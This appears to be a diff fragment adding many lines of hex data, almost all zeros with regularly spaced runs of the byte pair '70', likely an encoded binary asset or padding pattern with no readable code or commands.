+000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000707070707070707070707070707070707070707070707070 +707070707070707070707070707070707070000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +707070000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000707070707070707070707070707070 +707070707070707070707070707070707070707070707070707070000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000707070707070707070707070707070707070707070707070707070707070 +707070707070707070707070000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000707070707070 +707070707070707070707070707070707070707070707070707070707070707070707070000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000707070707070707070707070707070707070707070 +707070707070707070707070707070707070707070000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000707070707070707070707070707070707070707070707070707070707070707070707070 +707070707070000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000707070707070707070707070 +707070707070707070707070707070707070707070707070707070707070000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000707070707070707070707070707070707070707070707070707070 +707070707070707070707070707070000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000707070 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 